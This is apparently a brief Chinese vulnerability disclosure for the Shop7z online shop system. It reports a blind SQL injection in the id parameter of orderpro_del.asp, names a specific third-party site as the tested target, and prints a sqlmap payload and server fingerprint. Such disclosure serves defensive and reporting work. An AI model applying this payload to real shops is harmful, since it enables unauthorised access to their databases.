### 0x01 框架概述
相关厂商: shop7z
公开时间: 2015-04-23
官方主页: http://www.shop7z.com/

Shop7z网上购物系统是国内优秀的网上开店软件,模板新颖独特,功能强大,可以快速建立自己的网上商城。
### 0x02 漏洞细节
漏洞文件:orderpro_del.asp
问题参数:id
TEST:http://www.125309.com/orderpro_del.asp?id=
sqlmap证明:
```
Place: GET
Parameter: id
Type: boolean-based blind
Title: Microsoft Access boolean-based blind - Parameter replace (original va
lue)
Payload: id=IIF(2623=2623,1,1/0)
---
[19:50:23] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft Access
[19:50:23] [INFO] fetched data logged to text files under 'D:\python\sqlmap\outp
ut\www.125309.com'
[*] shutting down at 19:50:23
```
### 0x03 参考链接
http://www.wooyun.org/bugs/wooyun-2010-0109753
暂无评论